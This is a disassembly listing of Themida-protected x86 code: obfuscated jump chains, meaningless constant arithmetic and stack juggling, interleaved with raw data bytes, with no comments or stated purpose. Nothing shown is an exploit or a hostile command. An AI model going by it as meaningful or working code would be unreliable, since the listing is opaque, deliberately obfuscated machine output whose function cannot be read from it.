; ---------------------------------------------------------------------------


loc_5490CC:				; CODE XREF: Themida_:00548AD0j
		pop	eax
		sub	edi, 21FB1785h
		add	edi, 3D6E3FB2h
		add	edi, ebx
		jmp	loc_54AD6D
; ---------------------------------------------------------------------------
aS_m		db '\é.m',0
		align 2


loc_5490E6:				; CODE XREF: Themida_:0054AEB2j
		mov	edx, 95D71217h
		add	ebp, edx
		pop	edx
		jmp	loc_547BD6
; ---------------------------------------------------------------------------
		db 81h
		dd 511956F6h, 5EF33177h, 0FFB9F0E9h, 0EC805BFFh, 8BE3002Eh
		dd 0C4812404h, 4, 5150C300h, 0E5C01DB5h, 0FAED8004h, 4EC81h
		dd 0C4E90000h, 89000035h, 0D1BD55E2h, 817EAD1Ch, 154DA5E5h
		dd 63B8500Dh, 0E9215750h, 0FFFFEC27h
; ---------------------------------------------------------------------------


loc_549140:				; CODE XREF: Themida_:0054B07Bj
		mov	[esp], edi
		push	45FE0BB0h
		jmp	loc_54AACF
; ---------------------------------------------------------------------------


loc_54914D:				; CODE XREF: Themida_:005511A1j
		mov	[edi+20h], esi
		push	dword ptr [esp]
		jmp	loc_5484BA
; ---------------------------------------------------------------------------
		dd 5EF3015Bh, 4EC81h, 1C890000h, 2474FF24h, 241C8B04h
		dd 81E28952h, 4C2h, 4C28300h, 5C241487h, 5C24048Fh, 0E92434FFh
		dd 732Ah
; ---------------------------------------------------------------------------


loc_549188:				; CODE XREF: Themida_:0054582Cj
		dec	ebp
		xor	ebp, 505D45A5h
		xor	ebp, 4A0015B9h
		sub	eax, 5A10202h
		add	eax, ebp
		add	eax, 5A10202h
		pop	ebp
		sub	eax, 74BF3952h
		jmp	loc_550813
; ---------------------------------------------------------------------------
		dd 24048B66h, 0C79E9h
		db 0
; ---------------------------------------------------------------------------


loc_5491B5:				; CODE XREF: Themida_:00546E18j
		mov	[esp], dx
		jmp	loc_5504E5
; ---------------------------------------------------------------------------
		dw 481h
		dd 0A3794424h, 0BE565B5Eh, 5EA37944h, 0FFEF7CE9h
		db 0FFh
; ---------------------------------------------------------------------------


loc_5491D1:				; CODE XREF: Themida_:00550128j
		mov	[esp], edi
		jmp	loc_546E67
; ---------------------------------------------------------------------------
		db 0FFh, 74h, 24h
		dd 0E9EEE904h, 0C381FFFFh, 4, 5C241C87h, 0E900E9C1h, 175Ch
		dd 78E9C601h
		db 30h,	2 dup(0)
; ---------------------------------------------------------------------------


loc_5491FB:				; CODE XREF: Themida_:0054D9DBj
		xchg	edx, [esp]
		pop	esp
		mov	[esp], edi
		mov	edi, esp
		add	edi, 4
		add	edi, 4
		xchg	edi, [esp]
		jmp	loc_54B080
; ---------------------------------------------------------------------------
		dd 0E924248Bh, 1322h, 0E902EEC0h, 4881h
; ---------------------------------------------------------------------------


loc_549228:				; CODE XREF: Themida_:0054D51Aj
		mov	[esp], esi
		push	4
		jmp	loc_54C2A4
; ---------------------------------------------------------------------------
		db 83h,	0C4h, 4
		dd 37C668h, 243C8900h, 42474FFh, 57243C8Bh, 0BA52E789h
		dd 1D5704Eh, 64D9E9h
		db 0
; ---------------------------------------------------------------------------


loc_549255:				; CODE XREF: Themida_:0054C204j
		xor	[esp], eax
		xor	eax, [esp]
		mov	esp, [esp]
		jmp	loc_54CFFA
; ---------------------------------------------------------------------------
		db 0FFh
		dd 4B5B2404h, 0FFBE60E9h, 2DE580FFh, 3E64E9h, 0E9C9FE00h
		dd 3B9Fh, 7C65BD55h, 2FB83136h,	2979987Dh, 242C8BE8h, 4C481h
		dd 0EE810000h, 59F57CD5h, 0B951C601h, 326A3449h, 0C06C181h
		dd 0E9D125BEh, 417FE9h,	4C48300h, 8704C583h, 84E9242Ch
		db 17h,	2 dup(0)
; ---------------------------------------------------------------------------


loc_5492BB:				; CODE XREF: Themida_:00549D60j
		sub	ebp, 4
		xor	ebp, [esp]
		xor	[esp], ebp
		xor	ebp, [esp]
		pop	esp
		mov	[esp], edi
		jmp	loc_54A456
; ---------------------------------------------------------------------------
		db 0ADh
		dd 6CAEB951h, 9EE9479Dh, 66FFFFDBh, 663E2068h, 0E7C1665Fh
		dd 66576602h, 66240CFFh, 3183E95Fh, 30AC0000h, 4A16E9D8h
		dd 3C890000h, 16824h, 3C8B0000h, 7E4CE924h, 0C890000h
		dd 4B924h, 0C5810000h, 4C333285h, 7AB2B951h, 6FE944E6h
		db 0FDh, 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_549327:				; CODE XREF: Themida_:0054AA7Ej
		mov	eax, [esp]
		jmp	loc_54F3C0
; ---------------------------------------------------------------------------
		db 81h
		dd 0F0A212EFh, 5FFD21C2h, 1BE9D5F7h, 5C000017h,	0FFB7ACE9h
		db 0FFh
; ---------------------------------------------------------------------------


loc_549345:				; CODE XREF: Themida_:00546B07j
		mov	[esp], ebx
		mov	ebx, 0
		add	ebx, eax
		mov	ecx, [ebx]
		mov	ebx, [esp]
		push	edi
		mov	edi, esp
		add	edi, 4
		add	edi, 4
		xchg	edi, [esp]
		pop	esp
		mov	eax, [esp]
		add	esp, 4
		push	edi
		jmp	loc_547223
; ---------------------------------------------------------------------------


loc_549370:				; CODE XREF: Themida_:0054BFA4j
		xchg	edi, [esp]
		pop	esp
		and	[esp], eax
		pushf
		jmp	loc_544AF1
; ---------------------------------------------------------------------------
		db 0FDh, 50h, 0E9h
		dd 0FFFFFC66h, 0FFB768E9h
		db 0FFh
; ---------------------------------------------------------------------------


loc_549389:				; CODE XREF: Themida_:0054E0F6j
		mov	ebx, [esp]
		add	esp, 4
		push	ebx
		jmp	loc_5495D7
; ---------------------------------------------------------------------------
		db 53h,	0B3h, 0B1h
		dd 8052EB80h, 0E1E986EBh, 6600000Eh, 8124048Bh,	4ECh, 242C8900h
		dd 4EC81h, 24890000h, 0B9515324h, 4DDF4379h, 0DF437DBBh
		dd 59CB294Dh, 0FFBC92E9h
		db 0FFh
; ---------------------------------------------------------------------------


loc_5493CD:				; CODE XREF: Themida_:0054EA51j
		add	esp, 4
		add	ebp, 2
		xchg	ebp, [esp]
		jmp	loc_54CE43
; ---------------------------------------------------------------------------
		dw 0EB28h
		dd 594BEB80h, 0E9E1C380h, 0FFFFFC4Ah, 953AB725h, 694BE97Fh
		dd 0F2810000h, 499B5FF1h, 0F2E9D001h, 8100007Ah, 4C3h
		dd 4EB8300h, 0FFDEB6E9h, 2434FFFFh, 7E8A6859h, 0ADE90000h
		db 0Ch,	2 dup(0)
; ---------------------------------------------------------------------------


loc_54941F:				; CODE XREF: Themida_:005485C1j
		jz	loc_547813
		push	dword ptr [edi+28h]
		push	dword ptr [esp]
		mov	eax, [esp]
		jmp	loc_54F327
; ---------------------------------------------------------------------------
		db 89h
		dd 5A542414h, 0BC78E950h, 0C581FFFFh, 4, 0FFCD8EE9h, 0C48159FFh
		dd 4, 6DE9222Ch, 2900006Ah, 88B850C3h, 11A0547h, 24048BC3h
		dd 0E9E28952h, 0FFFFBA8Ch, 530ABE56h, 0DFE92FD3h
		db 63h,	2 dup(0)
; ---------------------------------------------------------------------------


loc_549477:				; CODE XREF: Themida_:005454D4j
		mov	edi, 58345B3Fh
		mov	eax, 54CE37E1h
		xor	eax, edi
		push	dword ptr [esp]
		pop	edi
		add	esp, 4
		or	eax, 96020Dh
		sub	eax, 3A6F32E8h
		sub	eax, 774F6198h
		jmp	loc_54996B
; ---------------------------------------------------------------------------
		db 88h,	0E5h, 58h
		dd 5B59EE88h, 80AFEE80h, 0CEFE0DE6h, 8095CE80h,	0F6804DCEh
		dd 4D804B6h, 2CF0286Eh,	0E9D82C6Eh, 0FFFFF2FAh,	88F08850h
		dd 75E95803h, 0FFFFC0h,	0B8D0E9E8h
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_5494DA:				; CODE XREF: Themida_:00550775j
		pop	esp
		push	ecx
		mov	ch, 4Eh
		or	dh, ch
		jmp	loc_548966
; ---------------------------------------------------------------------------


loc_5494E5:				; CODE XREF: Themida_:00547821j
		mov	edx, 5E6951C9h
		push	0
		jmp	loc_548BA2
; ---------------------------------------------------------------------------
		dd 0FFB5F8E9h, 241C87FFh, 8BD3885Ch
		db 14h,	24h
; ---------------------------------------------------------------------------
		push	ebp
		mov	ebp, esp
		add	ebp, 4
		add	ebp, 4
		xchg	ebp, [esp]
		pop	esp
		xor	al, bl
		pop	ebx
		push	edx
		push	3AEEh
		jmp	loc_54B714
; ---------------------------------------------------------------------------
		dd 3C8BF889h, 4C48324h,	0A440570Dh, 44D72515h, 0E0D1444Bh
		dd 0E908E0C1h, 1325h, 2C62B850h, 99E95B25h
		db 62h,	2 dup(0)
; ---------------------------------------------------------------------------


loc_549547:				; CODE XREF: Themida_:00544EAAj
		mov	esp, [esp]
		jmp	loc_550DDC
; ---------------------------------------------------------------------------
		db 1
		dd 4875BD8h, 830E924h, 0CE010000h, 74FF5659h, 34FF0424h
		dd 2434FF24h, 36C9E95Eh, 4890000h, 4EC8124h, 89000000h
		dd 40BD242Ch, 52000000h, 2919E9h, 435CBE00h, 8C686500h
		dd 89000020h, 14F72434h, 0E5EEE924h, 3C89FFFFh,	68555024h
		dd 47DE26E7h, 81242C8Bh, 4ECh, 242C8900h, 0BF57E589h, 3D4531E2h
		dd 31DEBE56h, 0F7293D45h, 0E924348Bh, 575h, 40242C81h
		dd 128E90Dh, 0DFE92404h
		db 1Bh,	2 dup(0)
; ---------------------------------------------------------------------------


loc_5495D7:				; CODE XREF: Themida_:00549390j
		mov	ebx, 2
		add	ebp, ebx
		jmp	loc_54C717
; ---------------------------------------------------------------------------
		db 33h
		dd 0CDE9240Ch
		db 4Fh,	2 dup(0)
; ---------------------------------------------------------------------------
		push	ebp
		mov	ebp, esp
		add	ebp, 4
		add	ebp, 4
		xchg	ebp, [esp]
		mov	esp, [esp]
		jmp	loc_544AF1
; ---------------------------------------------------------------------------
		dw 515Fh
		dd 0FFF3BEE9h, 515F54FFh, 0FFDF5CE9h, 731035FFh, 0A3E91214h
		dd 54000076h, 83242C8Bh, 555104C4h, 0B166B6BDh,	5DE98964h
		dd 0D35E9h, 4C48100h, 81000000h, 4ECh, 240C8900h, 57FBE9h
		dd 354FBA00h, 0C28166C5h, 404934A4h, 0D24EEA81h, 0D0294266h
		dd 58C6315Ah, 15EF201h,	5169E9CAh, 0D8010000h, 0C1432505h
		dd 7A34055Dh, 74E96FFBh, 66000012h, 66586692h, 135FE281h
		dd 66DAF766h, 20F281h, 62C9E9h,	83F48000h, 0E908ECC0h
		dd 152Fh, 0E9C0D1F6h, 5EF18005h, 0E42CC304h, 0A5E9C828h
		dd 3100003Bh, 0D2F759CAh, 0F281D2F7h, 2D50FBBh,	505AD001h
		dd 42474FFh, 4C0FE9h, 0BA5200h,	81198826h, 0A52FBAC2h
		dd 0B952E964h, 248BFFFFh, 68E0E924h
		db 2 dup(0)
; ---------------------------------------------------------------------------


loc_5496DE:				; CODE XREF: Themida_:0054FE9Dj
		push	dword ptr [esp+4]
		mov	eax, [esp]
		add	esp, 4
		pop	dword ptr [esp]
		mov	esp, [esp]
		push	dword ptr [edi+eax*4]
		mov	eax, [esp]
		push	ecx
		mov	ecx, esp
		jmp	loc_54C665
; ---------------------------------------------------------------------------
		db 83h
		dd 1C8704C3h, 0C7E95C24h, 0FFFFFFD2h, 669D1C77h, 24041058h
		dd 0B3D7E99Ch, 5AB8FFFFh, 297E3A5Ch, 0C20158C2h, 7B45E9h
		dd 241C8700h, 1C4F095Ch, 0E9240C8Bh, 2E70h, 52D831ADh
		dd 0FFE08CE9h, 0BBF681FFh, 4E31F860h, 23CE8146h, 5166F30Bh
		dd 0F321CDB9h, 0E9CE01F7h, 0FFFFDC03h, 5EE9C189h, 89FFFFC4h
		dd 4C281E2h, 83000000h,	148704EAh, 14895C24h, 3173BA24h
		dd 39E928A6h, 5BFFFFC8h, 515BFA30h, 0EA3067B5h,	53240C8Bh
		dd 0C381E389h, 4, 0E904C383h, 0FFFFFD5Dh, 0FF04C483h, 0C681C77h
		dd 89000006h, 0C868243Ch, 8B4D1036h, 0C483243Ch, 247C3104h
		dd 2434FF04h, 4C4835Fh,	0E9240C8Bh, 27ECh
; ---------------------------------------------------------------------------


loc_5497C8:				; CODE XREF: Themida_:0054EC5Dj
		push	eax
		push	edx
		push	eax
		jmp	loc_548C8B
; ---------------------------------------------------------------------------
		dd 6C6168h, 24048900h, 42E9E089h, 5700004Ah, 0B527F568h
		dd 0F7815F72h, 2EB2141Bh, 0ECBDC781h, 2EE9EDA7h, 0F7000027h
		dd 0FDC181D1h, 8126A630h, 0BE1D89C5h, 0A0C58135h, 1743312h
		dd 4868E9CDh, 0E95E0000h, 7557h
; ---------------------------------------------------------------------------


loc_549818:				; CODE XREF: Themida_:0054E21Cj
		or	eax, eax
		jz	loc_54DD6A
		push	dword ptr [edi+1Ch]
		jmp	loc_544C08
; ---------------------------------------------------------------------------
aN1H		db '­1Øh<;',0
		align 10h
		dd 0B9240C89h, 610E15C9h, 0FB1BA52h, 0EAC133DEh, 0A2E95305h
		dd 4000024h, 0E9D00096h, 797Ah,	592434FFh, 0E9595451h
		dd 20EFh, 3BE6656h, 0CBCBE941h
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_549866:				; CODE XREF: Themida_:0054CFA1j
		mov	edi, 3151499Ch
		dec	edi
		shl	edi, 5
		xor	edi, 4B506D33h
		xor	edi, 61CB6DEBh
		or	edx, edi
		pop	edi
		add	edx, 0B1088846h
		sub	esi, edx
		pop	edx
		xchg	esi, [esp]
		pop	esp
		mov	[esp], cx
		jmp	loc_544AF1
; ---------------------------------------------------------------------------
		dd 4EC81h, 24890000h, 69B3E924h
		db 2 dup(0)
; ---------------------------------------------------------------------------


loc_5498A2:				; CODE XREF: Themida_:0055059Bj
		pop	esi
		xor	ebp, [esp]
		jmp	loc_54DEB3
; ---------------------------------------------------------------------------
		db 81h
		dd 4C4h, 0EE9EE900h, 0B8BBFFFFh, 8140A847h, 0A14599C3h
		dd 0E9DBF760h, 7582h, 8142DAF7h, 4ECh, 39E900h,	0FE5C0000h
		dd 0E99C2404h, 0FFFFB211h, 80DBB151h, 0F18098E1h, 0CBB6E91Eh
		dd 0BBBEFFFFh, 1610E68h, 5E042474h, 5324048Bh, 0C381E389h
		dd 4, 4C381h, 0B7E90000h, 89FFFFECh, 0E68241Ch,	8B4CC1BFh
		dd 0C481241Ch, 4, 2753E9h, 86EB8100h, 557ED207h, 37BA68h
		dd 243C8900h, 9C3B52BFh, 2EEF8111h, 836CA37Dh, 0EFC101C7h
		dd 3DC78103h, 8106D019h, 46E728EFh, 0BF12E9A4h,	0D3F7FFFFh
		dd 0B5EB8143h, 0E9F3C182h, 0FFFFF306h, 0DCE9E089h
		db 9, 2	dup(0)
; ---------------------------------------------------------------------------


loc_54996B:				; CODE XREF: Themida_:0054949Cj
		push	ebx
		push	esi
		mov	esi, 235D109Ah
		shl	esi, 7
		dec	esi
		sub	esi, 3B1D7AC0h
		sub	esi, 4CA47178h
		mov	ebx, esi
		pop	esi
		jmp	loc_54555A
; ---------------------------------------------------------------------------


loc_54998A:				; CODE XREF: Themida_:0055109Dj
		jnz	loc_547813
		push	1EDCh
		mov	[esp], edx
		push	esp
		mov	edx, [esp]
		add	esp, 4
		jmp	loc_54FDB6
; ---------------------------------------------------------------------------
		dd 576F3D2Dh, 241C8B2Ah, 4C481h, 565B0000h, 0E6B7E953h
		dd 34FFFFFFh, 0C4835A24h, 0B0506604h, 66C720E7h, 0B3535258h
		dd 5BDE8812h, 0FFDBFEE9h, 1AA82DFFh, 0E7E97056h, 66000045h
		dd 0AE99C51h, 1FFFFB1h,	0FC14E9FEh, 2C87FFFFh, 1F24E924h
		dd 535D0000h, 0A438E8BBh, 7EBC15Ah, 0B09E381h, 0EC81269Dh
		dd 4, 0FF241C89h, 0C15B240Ch, 0EB8106E3h, 2541FFFCh, 1C8BDD01h
		dd 0F887E924h, 665CFFFFh, 2404BB0Fh, 0C804E99Ch
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_549A32:				; CODE XREF: Themida_:0054D167j
		push	ecx
		push	dword ptr [esp+4]
		jmp	loc_549E19
; ---------------------------------------------------------------------------
		dd 0FB7FDDB9h, 0BF38E979h, 8B66FFFFh, 0EC812404h, 4, 38F4E9h
		dd 2434FF00h, 57240C8Bh, 0C781E789h, 4,	8704C783h, 0BEE9243Ch
		dd 83000011h, 0E9042404h, 0FFFFD14Ch, 8324048Bh, 17E904C4h
		dd 58000054h, 295AD089h, 0D58958C2h, 3E8CE9h, 242C8900h
		dd 27F3B850h, 0DCBD697Ch, 0E9628B0Bh, 3B74h, 0ADE95259h
		dd 5CFFFFB8h, 0E92434FFh, 515Bh, 9D1C77FFh, 1CD25966h
		dd 2EE99C24h, 89FFFFB0h, 0D7BD242Ch, 527F203Eh,	203ED5BAh
		dd 8BD5317Fh, 89572414h, 4C781E7h, 81000000h, 4C7h, 243C8700h
		dd 6486E95Ch, 0C4830000h, 4BA5204h, 29000000h, 0CBC4E9D6h
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_549AFE:				; CODE XREF: Themida_:0054A0AEj
		mov	edx, esp
		add	edx, 4
		add	edx, 4
		push	edx
		push	dword ptr [esp+4]
		mov	edx, [esp]
		add	esp, 4
		pop	dword ptr [esp]
		mov	esp, [esp]
		and	ecx, esi
		mov	esi, [esp]
		add	esp, 4
		shr	ecx, 2
		jmp	loc_54E71F
; ---------------------------------------------------------------------------
		db 5Ah,	81h, 0F2h
		dd 66A7708h, 2434FF5Dh,	4BB6E9h, 4C48300h, 835FFD01h, 2C8704C5h
		dd 0D5D8E924h, 2DADFFFFh, 1C2732DCh, 2DC8E9h
		db 0
; ---------------------------------------------------------------------------


loc_549B59:				; CODE XREF: Themida_:0054F8C6j
		pop	dword ptr [esp]
		pop	esp
		mov	[esp], edx
		mov	edx, esp
		push	edi
		mov	edi, 4
		add	edx, edi
		pop	edi
		add	edx, 4
		xchg	edx, [esp]
		jmp	loc_54E7F7
; ---------------------------------------------------------------------------
		dw 3489h
		dd 4BE24h, 74010000h, 0E95E0424h, 1C31h, 17F56853h, 8F540000h
		dd 4832404h, 685B0424h,	325Eh, 0BE243489h, 4, 34FFF301h
		dd 24348B24h, 3F84E9h
		db 0
; ---------------------------------------------------------------------------


loc_549BB1:				; CODE XREF: Themida_:00547231j
		mov	[esp], edi
		mov	edi, 0B235D37h
		mov	edx, 230B4FFCh
		xor	edx, edi
		jmp	loc_546C17
; ---------------------------------------------------------------------------
		db 56h,	0BEh, 89h
		dd 0F723517Bh, 0E95546DEh, 30C5h, 0D5CEE956h, 0BF57FFFFh
		dd 2, 2435E9h
		db 0
; ---------------------------------------------------------------------------


loc_549BE5:				; CODE XREF: Themida_:0054BBCCj
		pop	eax
		jmp	loc_54E6B5
; ---------------------------------------------------------------------------


loc_549BEB:				; CODE XREF: Themida_:00547DF8j
		pop	dword ptr [esp]
		jmp	loc_54B072
; ---------------------------------------------------------------------------


loc_549BF3:				; CODE XREF: Themida_:0054F2C9j
		xor	[esp+4], edx
		pop	edx
		jmp	loc_547803
; ---------------------------------------------------------------------------
		db 46h,	81h, 0C6h
		dd 1CE615C6h, 518DE9h, 0EC815C00h, 4, 83240C89h, 248904ECh
		dd 667DE924h, 34FF0000h, 2434FF24h, 83240C8Bh, 0C48104C4h
		dd 4, 49EDE9h
		db 0
; ---------------------------------------------------------------------------


loc_549C35:				; CODE XREF: Themida_:00550331j
		add	edx, ebp
		pop	ebp
		jmp	loc_54DF6A
; ---------------------------------------------------------------------------
		db 81h,	0E9h, 0F1h
		dd 8151E653h, 5639FEE1h, 0BACBE979h, 0C381FFFFh, 4, 82CE9h
		db 0
; ---------------------------------------------------------------------------


loc_549C59:				; CODE XREF: Themida_:0054B60Bj
		pop	esp
		mov	[esp], edx
		mov	edx, esp
		jmp	loc_54BEFB
; ---------------------------------------------------------------------------
		dd 7CCD815Ah, 817D582Dh, 0E40916CDh, 0C144E931h, 0E189FFFFh
		dd 0E904EC83h, 0FFFFBD6Dh
; ---------------------------------------------------------------------------


loc_549C80:				; CODE XREF: Themida_:00545BF1j
		mov	edx, 103E1D60h
		neg	edx
		jmp	loc_54B596
; ---------------------------------------------------------------------------


loc_549C8C:				; CODE XREF: Themida_:0054D77Bj
		sub	eax, 22E06157h
		push	5894h
		mov	[esp], esi
		mov	esi, 66FB4D27h
		add	eax, esi
		pop	esi
		add	eax, edi
		jmp	loc_54A975
; ---------------------------------------------------------------------------
		dd 83242C8Bh, 34FF04C4h, 0C4815E24h, 4,	2D88E9h, 0AE2FE900h
		dd 0E95FFFFFh, 0FFFFD95Bh
; ---------------------------------------------------------------------------


loc_549CC8:				; CODE XREF: Themida_:0054511Ej
		push	dword ptr [esp]
		pop	eax
		jmp	loc_54E8A3
; ---------------------------------------------------------------------------
		db 68h,	31h, 32h
		dd 0C890000h, 1B66B924h, 0C9812D08h, 3AC619A8h,	0E981D9F7h
		dd 7F4FDD60h, 65480105h, 83C8290Ch, 148904ECh, 388CBA24h
		dd 0EAC1326Ch, 0E9564207h, 0C14h, 0D6F7DEF7h, 10F8BF57h
		dd 0EF81744Ch, 28C95F00h, 0BDF78147h, 0E961FD2Bh, 1DCFh
		dd 8904EC83h, 0A0BB241Ch, 8165C93Bh, 5425C3F3h,	3EBC16Eh
		dd 0FFB10CE9h
		db 0FFh
; ---------------------------------------------------------------------------


loc_549D3D:				; CODE XREF: Themida_:00544C8Fj
		shl	ecx, 4
		xor	ecx, 6E03B192h
		push	26Ah
		mov	[esp], ecx
		pop	edx
		mov	ecx, [esp]
		jmp	loc_54DC4E
; ---------------------------------------------------------------------------


loc_549D57:				; CODE XREF: Themida_:00545B9Aj
		push	ebp
		mov	ebp, esp
		add	ebp, 4
		jmp	loc_5492BB
; ---------------------------------------------------------------------------
		db 64h,	88h, 2
		dd 0FFAD84E9h, 4C681FFh, 81000000h, 4ECh, 242C8900h, 0B7592A68h
		dd 0EDD15D72h, 6DF9E955h, 8B5C0000h, 0E950241Ch, 0FFFFEDDEh
		dd 14F75545h, 0BE565D24h, 1BEB5F17h, 0C7BBD55h,	0F5813332h
		dd 26875929h, 0F75DEE31h, 81EED1D6h, 1B84E0EEh,	2CED8149h
		dd 15FC56Eh, 2CC581F5h,	5E5FC56Eh, 0AA49E42Dh, 5E80105h
		dd 5AA49E4h, 0A7E9565Dh, 2900000Ah, 11CCE9F7h, 0C2810000h
		dd 657E27EDh, 81240C8Bh, 4C4h, 0B731E900h, 0EE83FFFFh
		dd 0B1F681FFh, 296D8017h, 0D8295EF0h, 0FFDAE5E9h, 80C300FFh
		dd 0EC8144EBh, 4, 0D57E9h
		db 0
; ---------------------------------------------------------------------------


loc_549E19:				; CODE XREF: Themida_:00549A37j
		pop	ecx
		pop	dword ptr [esp]
		jmp	loc_54D209
; ---------------------------------------------------------------------------


loc_549E22:				; CODE XREF: Themida_:005453C2j
		mov	ebx, 6F1C2EDEh
		add	eax, ebx
		jmp	loc_54BDD3
; ---------------------------------------------------------------------------
aPirsB		db 'P‰àéÅB',0
		align 2
		dw 1489h
aSz		db '$é‡^',0
		align 2
		dw 0EB80h
		dd 0DEB652E1h, 8001C680h, 0C6804BC6h, 0E9D6F6DEh, 2EDh
		dd 0E950D1F7h, 0FFFFC822h, 14B5E95Dh, 0C4800000h, 0E28852EDh
		dd 0E95AD588h, 0FFFFEAC1h, 2EC81h, 89660000h, 0D7B62414h
		dd 0DFB35366h, 0FFCCE4E9h, 0C8B66FFh, 93E95724h, 53000019h
		dd 0C381E389h, 4, 2C381h, 1C870000h, 24E95C24h,	0B4FFFFD1h
		dd 0FE29B109h, 47F180C1h, 55C6E953h, 15F0000h, 0BF5755D0h
		dd 7312298Ah, 61E6CF81h, 0E7C10A34h, 8CC78105h,	89130E0Bh
		dd 0A8055FFDh, 570561Ah, 4DC27F64h, 642DE829h, 0E94DC27Fh
		dd 0FFFFFAEDh, 81241C89h, 4ECh,	2801E900h, 68510000h, 3A0E57EAh
		dd 10BB5359h, 43749347h, 58FDF381h, 0C381625Bh,	6DBF4515h
		dd 0EC9CB81h, 0E94B32BAh, 2B7Fh, 0E3C1DBF7h, 1DCB8102h
		dd 511E1D0Eh, 0B355CBB9h, 7FF1815Ah, 0E92F3C23h, 6EB7h
		dd 0E924048Bh, 0FFFFBA00h, 8924248Bh, 8CBF243Ch, 81792450h
		dd 7B1946F7h, 59546811h, 2C890000h, 46F0BD24h, 0DAE958B4h
		dd 52FFFFE7h, 16C0E9h, 65C46800h, 2C890000h, 34FF5424h
		dd 0C4835D24h, 4C58104h, 83000000h, 48904ECh, 51EDE924h
		dd 34FF0000h, 68535824h, 5BDDh,	0E9242489h, 0FFFFE744h
; ---------------------------------------------------------------------------


loc_549F9C:				; CODE XREF: Themida_:0054549Dj
		add	ebp, edi
		pop	edi
		add	ebp, 4
		xchg	ebp, [esp]
		pop	esp
		jmp	loc_54F006
; ---------------------------------------------------------------------------


loc_549FAB:				; CODE XREF: Themida_:0054A698j
		push	ecx
		mov	ecx, 4
		add	eax, ecx
		mov	ecx, [esp]
		add	esp, 4
		sub	eax, 4
		xchg	eax, [esp]
		mov	esp, [esp]
		mov	[esp], eax
		mov	eax, 10h
		push	eax
		jmp	loc_54B687
; ---------------------------------------------------------------------------
		dw 0D1F7h
		dd 0D111C181h, 61E982D2h, 59FFFFEEh, 7137F281h,	0D0291E94h
		dd 0AB03E95Ah
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_549FEE:				; CODE XREF: Themida_:0054BFFBj
		mov	edi, [esp]
		jmp	loc_54E0E1
; ---------------------------------------------------------------------------


loc_549FF6:				; CODE XREF: Themida_:0054CD55j
		mov	[esp], eax
		jmp	loc_547566
; ---------------------------------------------------------------------------


loc_549FFE:				; CODE XREF: Themida_:0054EE00j
		mov	esi, [esp]
		add	esp, 4
		shr	esi, 1
		jmp	loc_546799
; ---------------------------------------------------------------------------
		db 55h
		dd 42474FFh, 24048F5Dh,	28F0E9h, 58C68900h, 71FBE9h, 55E95800h
		dd 33000018h, 248B2414h, 66E1F624h, 66CCB60Fh, 6665FC68h
		dd 66240C89h, 0E9C8B60Fh, 0FFFFF99Bh, 73B66859h, 2C890000h
		dd 0E9E58924h, 37E4h, 3922852Dh, 471AE931h, 0BF570000h
		dd 2, 535FFB29h, 42474FFh, 83241C8Bh, 48F04C4h,	24248B24h
		dd 24148966h, 0E99C5066h, 0FFFFD19Ah, 8704C783h, 525C243Ch
		dd 0BF379EBAh, 0B1E94242h, 100000Dh, 88E95EF1h
		db 0DEh, 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_54A09F:				; CODE XREF: Themida_:00545C21j
		pop	edx
		mov	esi, eax
		mov	eax, [esp]
		sub	esp, 4
		mov	[esp], edx
		jmp	loc_549AFE
; ---------------------------------------------------------------------------
		db 0BDh
		dd 4, 9DE9EF01h, 8BFFFFFDh, 0D3662424h,	0E99C2424h, 0FFFFAA25h
		dd 54240489h, 40558h, 4050000h,	87000000h, 565C2404h, 24348B54h
		dd 8104C483h, 4C6h, 4C68300h, 31243433h, 34332434h, 24248B24h
		dd 8B2434FFh, 0C4832404h, 361A6804h, 0C890000h,	0B1E95424h
		dd 0AC00001Ch, 2855B652h, 0A8E95AF0h
		db 4Dh,	2 dup(0)
; ---------------------------------------------------------------------------


loc_54A11F:				; CODE XREF: Themida_:0054ED1Fj
		or	esi, 451E7EC3h
		and	esi, 25272FF2h
		jmp	loc_546520
; ---------------------------------------------------------------------------
		dd 83D3F74Bh, 0F38101C3h, 702BDEE2h, 0FFD2A7E9h, 8BF680FFh
		dd 0E981F680h, 1E5Dh, 0E9243C89h, 68FCh, 42474FFh, 24048F58h
		dd 8924248Bh, 8AE92414h, 1FFFFA9h, 0EB815EF3h, 685F49CAh
		dd 0E930FF66h, 0FFFFA979h, 28B6664h, 8904EC83h,	0E189240Ch
		dd 1FB0E9h, 0DDF75800h,	761BBF57h, 0EF814631h, 319D68D2h
		dd 62A0B951h, 81496145h, 0F81A93F1h, 0E9CF3140h, 0FFFFDB45h
		dd 4AE9E300h, 81FFFFACh, 217D6CC7h, 3C875877h, 0F7665C24h
		dd 8B5451F9h, 0C483240Ch, 0B246804h, 4890000h, 0D8E6E924h
		dd 5F55FFFFh, 83242C8Bh, 1C8B04C4h, 72FC6824h, 0C890000h
		dd 81E18924h, 4C1h, 4C18100h, 87000000h, 0E95C240Ch, 0FFFFAB7Bh
		dd 0A0F8FBBh, 0C7C38113h, 0E9340624h, 0FFFFAD79h
; ---------------------------------------------------------------------------


loc_54A210:				; CODE XREF: Themida_:005452F8j
		mov	ebx, 344B793Bh
		add	esi, ebx
		pop	ebx
		xor	esi, 5DBE246Bh
		mov	eax, esi
		mov	esi, [esp]
		add	esp, 4
		add	eax, 5123414Fh
		add	eax, edx
		sub	eax, 5123414Fh
		pop	edx
		and	ecx, eax
		mov	eax, [esp]
		push	1899h
		mov	[esp], ebx
		mov	ebx, esp
		add	ebx, 4
		add	ebx, 4
		xchg	ebx, [esp]
		pop	esp
		shr	ecx, 7
		jmp	loc_54BD83
; ---------------------------------------------------------------------------
		dw 0BF57h
		dd 4, 1E6BEC05h, 0E9F80135h, 0FFFFE997h, 4C281h, 0D2680000h
		dd 89000053h, 4BE2434h,	0E9000000h, 0FFFFD035h,	8092C380h
		dd 8851AFEBh, 57F8E9DDh, 0EB810000h, 34682E61h,	0FDE9DBF7h
		dd 89FFFFE6h, 450CE9C6h, 89530000h, 4C381E3h, 68000000h
		dd 3666h, 0E9243489h, 0FFFFBB46h, 0E9D5F75Eh, 2C03h, 0FFA828E9h
		dd 0DE132DFFh, 0C6090F4Ch, 8324048Bh, 0F68104C4h, 982AD6EAh
